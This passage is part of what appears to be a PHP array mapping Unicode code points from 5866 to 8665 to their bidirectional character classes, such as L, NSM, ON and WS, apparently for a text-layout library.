5866=>'L', 5867=>'L', 5868=>'L', 5869=>'L', 5870=>'L', 5871=>'L', 5872=>'L', 5888=>'L', 5889=>'L', 5890=>'L', 5891=>'L', 5892=>'L', 5893=>'L', 5894=>'L', 5895=>'L', 5896=>'L', 5897=>'L', 5898=>'L', 5899=>'L', 5900=>'L', 5902=>'L', 5903=>'L', 5904=>'L', 5905=>'L', 5906=>'NSM', 5907=>'NSM', 5908=>'NSM', 5920=>'L', 5921=>'L', 5922=>'L', 5923=>'L', 5924=>'L', 5925=>'L', 5926=>'L', 5927=>'L', 5928=>'L', 5929=>'L', 5930=>'L', 5931=>'L', 5932=>'L', 5933=>'L', 5934=>'L', 5935=>'L', 5936=>'L', 5937=>'L', 5938=>'NSM', 5939=>'NSM', 5940=>'NSM', 5941=>'L', 5942=>'L', 5952=>'L', 5953=>'L', 5954=>'L', 5955=>'L', 5956=>'L', 5957=>'L', 5958=>'L', 5959=>'L', 5960=>'L', 5961=>'L', 5962=>'L', 5963=>'L', 5964=>'L', 5965=>'L', 5966=>'L', 5967=>'L', 5968=>'L', 5969=>'L', 5970=>'NSM', 5971=>'NSM', 5984=>'L', 5985=>'L', 5986=>'L', 5987=>'L', 5988=>'L', 5989=>'L', 5990=>'L', 5991=>'L', 5992=>'L', 5993=>'L', 5994=>'L', 5995=>'L', 5996=>'L', 5998=>'L', 5999=>'L', 6000=>'L', 6002=>'NSM', 6003=>'NSM', 6016=>'L', 6017=>'L', 6018=>'L', 6019=>'L', 6020=>'L', 6021=>'L', 6022=>'L', 6023=>'L', 6024=>'L', 6025=>'L', 6026=>'L', 6027=>'L', 6028=>'L', 6029=>'L', 6030=>'L', 6031=>'L', 6032=>'L', 6033=>'L', 6034=>'L', 6035=>'L', 6036=>'L', 6037=>'L', 6038=>'L', 6039=>'L', 6040=>'L', 6041=>'L', 6042=>'L', 6043=>'L', 6044=>'L', 6045=>'L', 6046=>'L', 6047=>'L', 6048=>'L', 6049=>'L', 6050=>'L', 6051=>'L', 6052=>'L', 6053=>'L', 6054=>'L', 6055=>'L', 6056=>'L', 6057=>'L', 6058=>'L', 6059=>'L', 6060=>'L', 6061=>'L', 6062=>'L', 6063=>'L', 6064=>'L', 6065=>'L', 6066=>'L', 6067=>'L', 6068=>'L', 6069=>'L', 6070=>'L', 6071=>'NSM', 6072=>'NSM', 6073=>'NSM', 6074=>'NSM', 6075=>'NSM', 6076=>'NSM', 6077=>'NSM', 6078=>'L', 6079=>'L', 6080=>'L', 6081=>'L', 6082=>'L', 6083=>'L', 6084=>'L', 6085=>'L', 6086=>'NSM', 6087=>'L', 6088=>'L', 6089=>'NSM', 6090=>'NSM', 6091=>'NSM', 6092=>'NSM', 6093=>'NSM', 6094=>'NSM', 6095=>'NSM', 6096=>'NSM', 6097=>'NSM', 6098=>'NSM', 6099=>'NSM', 6100=>'L', 6101=>'L', 6102=>'L', 6103=>'L', 6104=>'L', 6105=>'L', 6106=>'L', 6107=>'ET', 6108=>'L', 6109=>'NSM', 6112=>'L', 6113=>'L', 6114=>'L', 6115=>'L', 6116=>'L', 6117=>'L', 6118=>'L', 6119=>'L', 6120=>'L', 6121=>'L', 6128=>'ON', 6129=>'ON', 6130=>'ON', 6131=>'ON', 6132=>'ON', 6133=>'ON', 6134=>'ON', 6135=>'ON', 6136=>'ON', 6137=>'ON', 6144=>'ON', 6145=>'ON', 6146=>'ON', 6147=>'ON', 6148=>'ON', 6149=>'ON', 6150=>'ON', 6151=>'ON', 6152=>'ON', 6153=>'ON', 6154=>'ON', 6155=>'NSM', 6156=>'NSM', 6157=>'NSM', 6158=>'WS', 6160=>'L', 6161=>'L', 6162=>'L', 6163=>'L', 6164=>'L', 6165=>'L', 6166=>'L', 6167=>'L', 6168=>'L', 6169=>'L', 6176=>'L', 6177=>'L', 6178=>'L', 6179=>'L', 6180=>'L', 6181=>'L', 6182=>'L', 6183=>'L', 6184=>'L', 6185=>'L', 6186=>'L', 6187=>'L', 6188=>'L', 6189=>'L', 6190=>'L', 6191=>'L', 6192=>'L', 6193=>'L', 6194=>'L', 6195=>'L', 6196=>'L', 6197=>'L', 6198=>'L', 6199=>'L', 6200=>'L', 6201=>'L', 6202=>'L', 6203=>'L', 6204=>'L', 6205=>'L', 6206=>'L', 6207=>'L', 6208=>'L', 6209=>'L', 6210=>'L', 6211=>'L', 6212=>'L', 6213=>'L', 6214=>'L', 6215=>'L', 6216=>'L', 6217=>'L', 6218=>'L', 6219=>'L', 6220=>'L', 6221=>'L', 6222=>'L', 6223=>'L', 6224=>'L', 6225=>'L', 6226=>'L', 6227=>'L', 6228=>'L', 6229=>'L', 6230=>'L', 6231=>'L', 6232=>'L', 6233=>'L', 6234=>'L', 6235=>'L', 6236=>'L', 6237=>'L', 6238=>'L', 6239=>'L', 6240=>'L', 6241=>'L', 6242=>'L', 6243=>'L', 6244=>'L', 6245=>'L', 6246=>'L', 6247=>'L', 6248=>'L', 6249=>'L', 6250=>'L', 6251=>'L', 6252=>'L', 6253=>'L', 6254=>'L', 6255=>'L', 6256=>'L', 6257=>'L', 6258=>'L', 6259=>'L', 6260=>'L', 6261=>'L', 6262=>'L', 6263=>'L', 6272=>'L', 6273=>'L', 6274=>'L', 6275=>'L', 6276=>'L', 6277=>'L', 6278=>'L', 6279=>'L', 6280=>'L', 6281=>'L', 6282=>'L', 6283=>'L', 6284=>'L', 6285=>'L', 6286=>'L', 6287=>'L', 6288=>'L', 6289=>'L', 6290=>'L', 6291=>'L', 6292=>'L', 6293=>'L', 6294=>'L', 6295=>'L', 6296=>'L', 6297=>'L', 6298=>'L', 6299=>'L', 6300=>'L', 6301=>'L', 6302=>'L', 6303=>'L', 6304=>'L', 6305=>'L', 6306=>'L', 6307=>'L', 6308=>'L', 6309=>'L', 6310=>'L', 6311=>'L', 6312=>'L', 6313=>'NSM', 6400=>'L', 6401=>'L', 6402=>'L', 6403=>'L', 6404=>'L', 6405=>'L', 6406=>'L', 6407=>'L', 6408=>'L', 6409=>'L', 6410=>'L', 6411=>'L', 6412=>'L', 6413=>'L', 6414=>'L', 6415=>'L', 6416=>'L', 6417=>'L', 6418=>'L', 6419=>'L', 6420=>'L', 6421=>'L', 6422=>'L', 6423=>'L', 6424=>'L', 6425=>'L', 6426=>'L', 6427=>'L', 6428=>'L', 6432=>'NSM', 6433=>'NSM', 6434=>'NSM', 6435=>'L', 6436=>'L', 6437=>'L', 6438=>'L', 6439=>'NSM', 6440=>'NSM', 6441=>'NSM', 6442=>'NSM', 6443=>'NSM', 6448=>'L', 6449=>'L', 6450=>'NSM', 6451=>'L', 6452=>'L', 6453=>'L', 6454=>'L', 6455=>'L', 6456=>'L', 6457=>'NSM', 6458=>'NSM', 6459=>'NSM', 6464=>'ON', 6468=>'ON', 6469=>'ON', 6470=>'L', 6471=>'L', 6472=>'L', 6473=>'L', 6474=>'L', 6475=>'L', 6476=>'L', 6477=>'L', 6478=>'L', 6479=>'L', 6480=>'L', 6481=>'L', 6482=>'L', 6483=>'L', 6484=>'L', 6485=>'L', 6486=>'L', 6487=>'L', 6488=>'L', 6489=>'L', 6490=>'L', 6491=>'L', 6492=>'L', 6493=>'L', 6494=>'L', 6495=>'L', 6496=>'L', 6497=>'L', 6498=>'L', 6499=>'L', 6500=>'L', 6501=>'L', 6502=>'L', 6503=>'L', 6504=>'L', 6505=>'L', 6506=>'L', 6507=>'L', 6508=>'L', 6509=>'L', 6512=>'L', 6513=>'L', 6514=>'L', 6515=>'L', 6516=>'L', 6528=>'L', 6529=>'L', 6530=>'L', 6531=>'L', 6532=>'L', 6533=>'L', 6534=>'L', 6535=>'L', 6536=>'L', 6537=>'L', 6538=>'L', 6539=>'L', 6540=>'L', 6541=>'L', 6542=>'L', 6543=>'L', 6544=>'L', 6545=>'L', 6546=>'L', 6547=>'L', 6548=>'L', 6549=>'L', 6550=>'L', 6551=>'L', 6552=>'L', 6553=>'L', 6554=>'L', 6555=>'L', 6556=>'L', 6557=>'L', 6558=>'L', 6559=>'L', 6560=>'L', 6561=>'L', 6562=>'L', 6563=>'L', 6564=>'L', 6565=>'L', 6566=>'L', 6567=>'L', 6568=>'L', 6569=>'L', 6576=>'L', 6577=>'L', 6578=>'L', 6579=>'L', 6580=>'L', 6581=>'L', 6582=>'L', 6583=>'L', 6584=>'L', 6585=>'L', 6586=>'L', 6587=>'L', 6588=>'L', 6589=>'L', 6590=>'L', 6591=>'L', 6592=>'L', 6593=>'L', 6594=>'L', 6595=>'L', 6596=>'L', 6597=>'L', 6598=>'L', 6599=>'L', 6600=>'L', 6601=>'L', 6608=>'L', 6609=>'L', 6610=>'L', 6611=>'L', 6612=>'L', 6613=>'L', 6614=>'L', 6615=>'L', 6616=>'L', 6617=>'L', 6622=>'ON', 6623=>'ON', 6624=>'ON', 6625=>'ON', 6626=>'ON', 6627=>'ON', 6628=>'ON', 6629=>'ON', 6630=>'ON', 6631=>'ON', 6632=>'ON', 6633=>'ON', 6634=>'ON', 6635=>'ON', 6636=>'ON', 6637=>'ON', 6638=>'ON', 6639=>'ON', 6640=>'ON', 6641=>'ON', 6642=>'ON', 6643=>'ON', 6644=>'ON', 6645=>'ON', 6646=>'ON', 6647=>'ON', 6648=>'ON', 6649=>'ON', 6650=>'ON', 6651=>'ON', 6652=>'ON', 6653=>'ON', 6654=>'ON', 6655=>'ON', 6656=>'L', 6657=>'L', 6658=>'L', 6659=>'L', 6660=>'L', 6661=>'L', 6662=>'L', 6663=>'L', 6664=>'L', 6665=>'L', 6666=>'L', 6667=>'L', 6668=>'L', 6669=>'L', 6670=>'L', 6671=>'L', 6672=>'L', 6673=>'L', 6674=>'L', 6675=>'L', 6676=>'L', 6677=>'L', 6678=>'L', 6679=>'NSM', 6680=>'NSM', 6681=>'L', 6682=>'L', 6683=>'L', 6686=>'L', 6687=>'L', 6912=>'NSM', 6913=>'NSM', 6914=>'NSM', 6915=>'NSM', 6916=>'L', 6917=>'L', 6918=>'L', 6919=>'L', 6920=>'L', 6921=>'L', 6922=>'L', 6923=>'L', 6924=>'L', 6925=>'L', 6926=>'L', 6927=>'L', 6928=>'L', 6929=>'L', 6930=>'L', 6931=>'L', 6932=>'L', 6933=>'L', 6934=>'L', 6935=>'L', 6936=>'L', 6937=>'L', 6938=>'L', 6939=>'L', 6940=>'L', 6941=>'L', 6942=>'L', 6943=>'L', 6944=>'L', 6945=>'L', 6946=>'L', 6947=>'L', 6948=>'L', 6949=>'L', 6950=>'L', 6951=>'L', 6952=>'L', 6953=>'L', 6954=>'L', 6955=>'L', 6956=>'L', 6957=>'L', 6958=>'L', 6959=>'L', 6960=>'L', 6961=>'L', 6962=>'L', 6963=>'L', 6964=>'NSM', 6965=>'L', 6966=>'NSM', 6967=>'NSM', 6968=>'NSM', 6969=>'NSM', 6970=>'NSM', 6971=>'L', 6972=>'NSM', 6973=>'L', 6974=>'L', 6975=>'L', 6976=>'L', 6977=>'L', 6978=>'NSM', 6979=>'L', 6980=>'L', 6981=>'L', 6982=>'L', 6983=>'L', 6984=>'L', 6985=>'L', 6986=>'L', 6987=>'L', 6992=>'L', 6993=>'L', 6994=>'L', 6995=>'L', 6996=>'L', 6997=>'L', 6998=>'L', 6999=>'L', 7000=>'L', 7001=>'L', 7002=>'L', 7003=>'L', 7004=>'L', 7005=>'L', 7006=>'L', 7007=>'L', 7008=>'L', 7009=>'L', 7010=>'L', 7011=>'L', 7012=>'L', 7013=>'L', 7014=>'L', 7015=>'L', 7016=>'L', 7017=>'L', 7018=>'L', 7019=>'NSM', 7020=>'NSM', 7021=>'NSM', 7022=>'NSM', 7023=>'NSM', 7024=>'NSM', 7025=>'NSM', 7026=>'NSM', 7027=>'NSM', 7028=>'L', 7029=>'L', 7030=>'L', 7031=>'L', 7032=>'L', 7033=>'L', 7034=>'L', 7035=>'L', 7036=>'L', 7424=>'L', 7425=>'L', 7426=>'L', 7427=>'L', 7428=>'L', 7429=>'L', 7430=>'L', 7431=>'L', 7432=>'L', 7433=>'L', 7434=>'L', 7435=>'L', 7436=>'L', 7437=>'L', 7438=>'L', 7439=>'L', 7440=>'L', 7441=>'L', 7442=>'L', 7443=>'L', 7444=>'L', 7445=>'L', 7446=>'L', 7447=>'L', 7448=>'L', 7449=>'L', 7450=>'L', 7451=>'L', 7452=>'L', 7453=>'L', 7454=>'L', 7455=>'L', 7456=>'L', 7457=>'L', 7458=>'L', 7459=>'L', 7460=>'L', 7461=>'L', 7462=>'L', 7463=>'L', 7464=>'L', 7465=>'L', 7466=>'L', 7467=>'L', 7468=>'L', 7469=>'L', 7470=>'L', 7471=>'L', 7472=>'L', 7473=>'L', 7474=>'L', 7475=>'L', 7476=>'L', 7477=>'L', 7478=>'L', 7479=>'L', 7480=>'L', 7481=>'L', 7482=>'L', 7483=>'L', 7484=>'L', 7485=>'L', 7486=>'L', 7487=>'L', 7488=>'L', 7489=>'L', 7490=>'L', 7491=>'L', 7492=>'L', 7493=>'L', 7494=>'L', 7495=>'L', 7496=>'L', 7497=>'L', 7498=>'L', 7499=>'L', 7500=>'L', 7501=>'L', 7502=>'L', 7503=>'L', 7504=>'L', 7505=>'L', 7506=>'L', 7507=>'L', 7508=>'L', 7509=>'L', 7510=>'L', 7511=>'L', 7512=>'L', 7513=>'L', 7514=>'L', 7515=>'L', 7516=>'L', 7517=>'L', 7518=>'L', 7519=>'L', 7520=>'L', 7521=>'L', 7522=>'L', 7523=>'L', 7524=>'L', 7525=>'L', 7526=>'L', 7527=>'L', 7528=>'L', 7529=>'L', 7530=>'L', 7531=>'L', 7532=>'L', 7533=>'L', 7534=>'L', 7535=>'L', 7536=>'L', 7537=>'L', 7538=>'L', 7539=>'L', 7540=>'L', 7541=>'L', 7542=>'L', 7543=>'L', 7544=>'L', 7545=>'L', 7546=>'L', 7547=>'L', 7548=>'L', 7549=>'L', 7550=>'L', 7551=>'L', 7552=>'L', 7553=>'L', 7554=>'L', 7555=>'L', 7556=>'L', 7557=>'L', 7558=>'L', 7559=>'L', 7560=>'L', 7561=>'L', 7562=>'L', 7563=>'L', 7564=>'L', 7565=>'L', 7566=>'L', 7567=>'L', 7568=>'L', 7569=>'L', 7570=>'L', 7571=>'L', 7572=>'L', 7573=>'L', 7574=>'L', 7575=>'L', 7576=>'L', 7577=>'L', 7578=>'L', 7579=>'L', 7580=>'L', 7581=>'L', 7582=>'L', 7583=>'L', 7584=>'L', 7585=>'L', 7586=>'L', 7587=>'L', 7588=>'L', 7589=>'L', 7590=>'L', 7591=>'L', 7592=>'L', 7593=>'L', 7594=>'L', 7595=>'L', 7596=>'L', 7597=>'L', 7598=>'L', 7599=>'L', 7600=>'L', 7601=>'L', 7602=>'L', 7603=>'L', 7604=>'L', 7605=>'L', 7606=>'L', 7607=>'L', 7608=>'L', 7609=>'L', 7610=>'L', 7611=>'L', 7612=>'L', 7613=>'L', 7614=>'L', 7615=>'L', 7616=>'NSM', 7617=>'NSM', 7618=>'NSM', 7619=>'NSM', 7620=>'NSM', 7621=>'NSM', 7622=>'NSM', 7623=>'NSM', 7624=>'NSM', 7625=>'NSM', 7626=>'NSM', 7678=>'NSM', 7679=>'NSM', 7680=>'L', 7681=>'L', 7682=>'L', 7683=>'L', 7684=>'L', 7685=>'L', 7686=>'L', 7687=>'L', 7688=>'L', 7689=>'L', 7690=>'L', 7691=>'L', 7692=>'L', 7693=>'L', 7694=>'L', 7695=>'L', 7696=>'L', 7697=>'L', 7698=>'L', 7699=>'L', 7700=>'L', 7701=>'L', 7702=>'L', 7703=>'L', 7704=>'L', 7705=>'L', 7706=>'L', 7707=>'L', 7708=>'L', 7709=>'L', 7710=>'L', 7711=>'L', 7712=>'L', 7713=>'L', 7714=>'L', 7715=>'L', 7716=>'L', 7717=>'L', 7718=>'L', 7719=>'L', 7720=>'L', 7721=>'L', 7722=>'L', 7723=>'L', 7724=>'L', 7725=>'L', 7726=>'L', 7727=>'L', 7728=>'L', 7729=>'L', 7730=>'L', 7731=>'L', 7732=>'L', 7733=>'L', 7734=>'L', 7735=>'L', 7736=>'L', 7737=>'L', 7738=>'L', 7739=>'L', 7740=>'L', 7741=>'L', 7742=>'L', 7743=>'L', 7744=>'L', 7745=>'L', 7746=>'L', 7747=>'L', 7748=>'L', 7749=>'L', 7750=>'L', 7751=>'L', 7752=>'L', 7753=>'L', 7754=>'L', 7755=>'L', 7756=>'L', 7757=>'L', 7758=>'L', 7759=>'L', 7760=>'L', 7761=>'L', 7762=>'L', 7763=>'L', 7764=>'L', 7765=>'L', 7766=>'L', 7767=>'L', 7768=>'L', 7769=>'L', 7770=>'L', 7771=>'L', 7772=>'L', 7773=>'L', 7774=>'L', 7775=>'L', 7776=>'L', 7777=>'L', 7778=>'L', 7779=>'L', 7780=>'L', 7781=>'L', 7782=>'L', 7783=>'L', 7784=>'L', 7785=>'L', 7786=>'L', 7787=>'L', 7788=>'L', 7789=>'L', 7790=>'L', 7791=>'L', 7792=>'L', 7793=>'L', 7794=>'L', 7795=>'L', 7796=>'L', 7797=>'L', 7798=>'L', 7799=>'L', 7800=>'L', 7801=>'L', 7802=>'L', 7803=>'L', 7804=>'L', 7805=>'L', 7806=>'L', 7807=>'L', 7808=>'L', 7809=>'L', 7810=>'L', 7811=>'L', 7812=>'L', 7813=>'L', 7814=>'L', 7815=>'L', 7816=>'L', 7817=>'L', 7818=>'L', 7819=>'L', 7820=>'L', 7821=>'L', 7822=>'L', 7823=>'L', 7824=>'L', 7825=>'L', 7826=>'L', 7827=>'L', 7828=>'L', 7829=>'L', 7830=>'L', 7831=>'L', 7832=>'L', 7833=>'L', 7834=>'L', 7835=>'L', 7840=>'L', 7841=>'L', 7842=>'L', 7843=>'L', 7844=>'L', 7845=>'L', 7846=>'L', 7847=>'L', 7848=>'L', 7849=>'L', 7850=>'L', 7851=>'L', 7852=>'L', 7853=>'L', 7854=>'L', 7855=>'L', 7856=>'L', 7857=>'L', 7858=>'L', 7859=>'L', 7860=>'L', 7861=>'L', 7862=>'L', 7863=>'L', 7864=>'L', 7865=>'L', 7866=>'L', 7867=>'L', 7868=>'L', 7869=>'L', 7870=>'L', 7871=>'L', 7872=>'L', 7873=>'L', 7874=>'L', 7875=>'L', 7876=>'L', 7877=>'L', 7878=>'L', 7879=>'L', 7880=>'L', 7881=>'L', 7882=>'L', 7883=>'L', 7884=>'L', 7885=>'L', 7886=>'L', 7887=>'L', 7888=>'L', 7889=>'L', 7890=>'L', 7891=>'L', 7892=>'L', 7893=>'L', 7894=>'L', 7895=>'L', 7896=>'L', 7897=>'L', 7898=>'L', 7899=>'L', 7900=>'L', 7901=>'L', 7902=>'L', 7903=>'L', 7904=>'L', 7905=>'L', 7906=>'L', 7907=>'L', 7908=>'L', 7909=>'L', 7910=>'L', 7911=>'L', 7912=>'L', 7913=>'L', 7914=>'L', 7915=>'L', 7916=>'L', 7917=>'L', 7918=>'L', 7919=>'L', 7920=>'L', 7921=>'L', 7922=>'L', 7923=>'L', 7924=>'L', 7925=>'L', 7926=>'L', 7927=>'L', 7928=>'L', 7929=>'L', 7936=>'L', 7937=>'L', 7938=>'L', 7939=>'L', 7940=>'L', 7941=>'L', 7942=>'L', 7943=>'L', 7944=>'L', 7945=>'L', 7946=>'L', 7947=>'L', 7948=>'L', 7949=>'L', 7950=>'L', 7951=>'L', 7952=>'L', 7953=>'L', 7954=>'L', 7955=>'L', 7956=>'L', 7957=>'L', 7960=>'L', 7961=>'L', 7962=>'L', 7963=>'L', 7964=>'L', 7965=>'L', 7968=>'L', 7969=>'L', 7970=>'L', 7971=>'L', 7972=>'L', 7973=>'L', 7974=>'L', 7975=>'L', 7976=>'L', 7977=>'L', 7978=>'L', 7979=>'L', 7980=>'L', 7981=>'L', 7982=>'L', 7983=>'L', 7984=>'L', 7985=>'L', 7986=>'L', 7987=>'L', 7988=>'L', 7989=>'L', 7990=>'L', 7991=>'L', 7992=>'L', 7993=>'L', 7994=>'L', 7995=>'L', 7996=>'L', 7997=>'L', 7998=>'L', 7999=>'L', 8000=>'L', 8001=>'L', 8002=>'L', 8003=>'L', 8004=>'L', 8005=>'L', 8008=>'L', 8009=>'L', 8010=>'L', 8011=>'L', 8012=>'L', 8013=>'L', 8016=>'L', 8017=>'L', 8018=>'L', 8019=>'L', 8020=>'L', 8021=>'L', 8022=>'L', 8023=>'L', 8025=>'L', 8027=>'L', 8029=>'L', 8031=>'L', 8032=>'L', 8033=>'L', 8034=>'L', 8035=>'L', 8036=>'L', 8037=>'L', 8038=>'L', 8039=>'L', 8040=>'L', 8041=>'L', 8042=>'L', 8043=>'L', 8044=>'L', 8045=>'L', 8046=>'L', 8047=>'L', 8048=>'L', 8049=>'L', 8050=>'L', 8051=>'L', 8052=>'L', 8053=>'L', 8054=>'L', 8055=>'L', 8056=>'L', 8057=>'L', 8058=>'L', 8059=>'L', 8060=>'L', 8061=>'L', 8064=>'L', 8065=>'L', 8066=>'L', 8067=>'L', 8068=>'L', 8069=>'L', 8070=>'L', 8071=>'L', 8072=>'L', 8073=>'L', 8074=>'L', 8075=>'L', 8076=>'L', 8077=>'L', 8078=>'L', 8079=>'L', 8080=>'L', 8081=>'L', 8082=>'L', 8083=>'L', 8084=>'L', 8085=>'L', 8086=>'L', 8087=>'L', 8088=>'L', 8089=>'L', 8090=>'L', 8091=>'L', 8092=>'L', 8093=>'L', 8094=>'L', 8095=>'L', 8096=>'L', 8097=>'L', 8098=>'L', 8099=>'L', 8100=>'L', 8101=>'L', 8102=>'L', 8103=>'L', 8104=>'L', 8105=>'L', 8106=>'L', 8107=>'L', 8108=>'L', 8109=>'L', 8110=>'L', 8111=>'L', 8112=>'L', 8113=>'L', 8114=>'L', 8115=>'L', 8116=>'L', 8118=>'L', 8119=>'L', 8120=>'L', 8121=>'L', 8122=>'L', 8123=>'L', 8124=>'L', 8125=>'ON', 8126=>'L', 8127=>'ON', 8128=>'ON', 8129=>'ON', 8130=>'L', 8131=>'L', 8132=>'L', 8134=>'L', 8135=>'L', 8136=>'L', 8137=>'L', 8138=>'L', 8139=>'L', 8140=>'L', 8141=>'ON', 8142=>'ON', 8143=>'ON', 8144=>'L', 8145=>'L', 8146=>'L', 8147=>'L', 8150=>'L', 8151=>'L', 8152=>'L', 8153=>'L', 8154=>'L', 8155=>'L', 8157=>'ON', 8158=>'ON', 8159=>'ON', 8160=>'L', 8161=>'L', 8162=>'L', 8163=>'L', 8164=>'L', 8165=>'L', 8166=>'L', 8167=>'L', 8168=>'L', 8169=>'L', 8170=>'L', 8171=>'L', 8172=>'L', 8173=>'ON', 8174=>'ON', 8175=>'ON', 8178=>'L', 8179=>'L', 8180=>'L', 8182=>'L', 8183=>'L', 8184=>'L', 8185=>'L', 8186=>'L', 8187=>'L', 8188=>'L', 8189=>'ON', 8190=>'ON', 8192=>'WS', 8193=>'WS', 8194=>'WS', 8195=>'WS', 8196=>'WS', 8197=>'WS', 8198=>'WS', 8199=>'WS', 8200=>'WS', 8201=>'WS', 8202=>'WS', 8203=>'BN', 8204=>'BN', 8205=>'BN', 8206=>'L', 8207=>'R', 8208=>'ON', 8209=>'ON', 8210=>'ON', 8211=>'ON', 8212=>'ON', 8213=>'ON', 8214=>'ON', 8215=>'ON', 8216=>'ON', 8217=>'ON', 8218=>'ON', 8219=>'ON', 8220=>'ON', 8221=>'ON', 8222=>'ON', 8223=>'ON', 8224=>'ON', 8225=>'ON', 8226=>'ON', 8227=>'ON', 8228=>'ON', 8229=>'ON', 8230=>'ON', 8231=>'ON', 8232=>'WS', 8233=>'B', 8234=>'LRE', 8235=>'RLE', 8236=>'PDF', 8237=>'LRO', 8238=>'RLO', 8239=>'CS', 8240=>'ET', 8241=>'ET', 8242=>'ET', 8243=>'ET', 8244=>'ET', 8245=>'ON', 8246=>'ON', 8247=>'ON', 8248=>'ON', 8249=>'ON', 8250=>'ON', 8251=>'ON', 8252=>'ON', 8253=>'ON', 8254=>'ON', 8255=>'ON', 8256=>'ON', 8257=>'ON', 8258=>'ON', 8259=>'ON', 8260=>'CS', 8261=>'ON', 8262=>'ON', 8263=>'ON', 8264=>'ON', 8265=>'ON', 8266=>'ON', 8267=>'ON', 8268=>'ON', 8269=>'ON', 8270=>'ON', 8271=>'ON', 8272=>'ON', 8273=>'ON', 8274=>'ON', 8275=>'ON', 8276=>'ON', 8277=>'ON', 8278=>'ON', 8279=>'ON', 8280=>'ON', 8281=>'ON', 8282=>'ON', 8283=>'ON', 8284=>'ON', 8285=>'ON', 8286=>'ON', 8287=>'WS', 8288=>'BN', 8289=>'BN', 8290=>'BN', 8291=>'BN', 8298=>'BN', 8299=>'BN', 8300=>'BN', 8301=>'BN', 8302=>'BN', 8303=>'BN', 8304=>'EN', 8305=>'L', 8308=>'EN', 8309=>'EN', 8310=>'EN', 8311=>'EN', 8312=>'EN', 8313=>'EN', 8314=>'ES', 8315=>'ES', 8316=>'ON', 8317=>'ON', 8318=>'ON', 8319=>'L', 8320=>'EN', 8321=>'EN', 8322=>'EN', 8323=>'EN', 8324=>'EN', 8325=>'EN', 8326=>'EN', 8327=>'EN', 8328=>'EN', 8329=>'EN', 8330=>'ES', 8331=>'ES', 8332=>'ON', 8333=>'ON', 8334=>'ON', 8336=>'L', 8337=>'L', 8338=>'L', 8339=>'L', 8340=>'L', 8352=>'ET', 8353=>'ET', 8354=>'ET', 8355=>'ET', 8356=>'ET', 8357=>'ET', 8358=>'ET', 8359=>'ET', 8360=>'ET', 8361=>'ET', 8362=>'ET', 8363=>'ET', 8364=>'ET', 8365=>'ET', 8366=>'ET', 8367=>'ET', 8368=>'ET', 8369=>'ET', 8370=>'ET', 8371=>'ET', 8372=>'ET', 8373=>'ET', 8400=>'NSM', 8401=>'NSM', 8402=>'NSM', 8403=>'NSM', 8404=>'NSM', 8405=>'NSM', 8406=>'NSM', 8407=>'NSM', 8408=>'NSM', 8409=>'NSM', 8410=>'NSM', 8411=>'NSM', 8412=>'NSM', 8413=>'NSM', 8414=>'NSM', 8415=>'NSM', 8416=>'NSM', 8417=>'NSM', 8418=>'NSM', 8419=>'NSM', 8420=>'NSM', 8421=>'NSM', 8422=>'NSM', 8423=>'NSM', 8424=>'NSM', 8425=>'NSM', 8426=>'NSM', 8427=>'NSM', 8428=>'NSM', 8429=>'NSM', 8430=>'NSM', 8431=>'NSM', 8448=>'ON', 8449=>'ON', 8450=>'L', 8451=>'ON', 8452=>'ON', 8453=>'ON', 8454=>'ON', 8455=>'L', 8456=>'ON', 8457=>'ON', 8458=>'L', 8459=>'L', 8460=>'L', 8461=>'L', 8462=>'L', 8463=>'L', 8464=>'L', 8465=>'L', 8466=>'L', 8467=>'L', 8468=>'ON', 8469=>'L', 8470=>'ON', 8471=>'ON', 8472=>'ON', 8473=>'L', 8474=>'L', 8475=>'L', 8476=>'L', 8477=>'L', 8478=>'ON', 8479=>'ON', 8480=>'ON', 8481=>'ON', 8482=>'ON', 8483=>'ON', 8484=>'L', 8485=>'ON', 8486=>'L', 8487=>'ON', 8488=>'L', 8489=>'ON', 8490=>'L', 8491=>'L', 8492=>'L', 8493=>'L', 8494=>'ET', 8495=>'L', 8496=>'L', 8497=>'L', 8498=>'L', 8499=>'L', 8500=>'L', 8501=>'L', 8502=>'L', 8503=>'L', 8504=>'L', 8505=>'L', 8506=>'ON', 8507=>'ON', 8508=>'L', 8509=>'L', 8510=>'L', 8511=>'L', 8512=>'ON', 8513=>'ON', 8514=>'ON', 8515=>'ON', 8516=>'ON', 8517=>'L', 8518=>'L', 8519=>'L', 8520=>'L', 8521=>'L', 8522=>'ON', 8523=>'ON', 8524=>'ON', 8525=>'ON', 8526=>'L', 8531=>'ON', 8532=>'ON', 8533=>'ON', 8534=>'ON', 8535=>'ON', 8536=>'ON', 8537=>'ON', 8538=>'ON', 8539=>'ON', 8540=>'ON', 8541=>'ON', 8542=>'ON', 8543=>'ON', 8544=>'L', 8545=>'L', 8546=>'L', 8547=>'L', 8548=>'L', 8549=>'L', 8550=>'L', 8551=>'L', 8552=>'L', 8553=>'L', 8554=>'L', 8555=>'L', 8556=>'L', 8557=>'L', 8558=>'L', 8559=>'L', 8560=>'L', 8561=>'L', 8562=>'L', 8563=>'L', 8564=>'L', 8565=>'L', 8566=>'L', 8567=>'L', 8568=>'L', 8569=>'L', 8570=>'L', 8571=>'L', 8572=>'L', 8573=>'L', 8574=>'L', 8575=>'L', 8576=>'L', 8577=>'L', 8578=>'L', 8579=>'L', 8580=>'L', 8592=>'ON', 8593=>'ON', 8594=>'ON', 8595=>'ON', 8596=>'ON', 8597=>'ON', 8598=>'ON', 8599=>'ON', 8600=>'ON', 8601=>'ON', 8602=>'ON', 8603=>'ON', 8604=>'ON', 8605=>'ON', 8606=>'ON', 8607=>'ON', 8608=>'ON', 8609=>'ON', 8610=>'ON', 8611=>'ON', 8612=>'ON', 8613=>'ON', 8614=>'ON', 8615=>'ON', 8616=>'ON', 8617=>'ON', 8618=>'ON', 8619=>'ON', 8620=>'ON', 8621=>'ON', 8622=>'ON', 8623=>'ON', 8624=>'ON', 8625=>'ON', 8626=>'ON', 8627=>'ON', 8628=>'ON', 8629=>'ON', 8630=>'ON', 8631=>'ON', 8632=>'ON', 8633=>'ON', 8634=>'ON', 8635=>'ON', 8636=>'ON', 8637=>'ON', 8638=>'ON', 8639=>'ON', 8640=>'ON', 8641=>'ON', 8642=>'ON', 8643=>'ON', 8644=>'ON', 8645=>'ON', 8646=>'ON', 8647=>'ON', 8648=>'ON', 8649=>'ON', 8650=>'ON', 8651=>'ON', 8652=>'ON', 8653=>'ON', 8654=>'ON', 8655=>'ON', 8656=>'ON', 8657=>'ON', 8658=>'ON', 8659=>'ON', 8660=>'ON', 8661=>'ON', 8662=>'ON', 8663=>'ON', 8664=>'ON', 8665=>'ON', 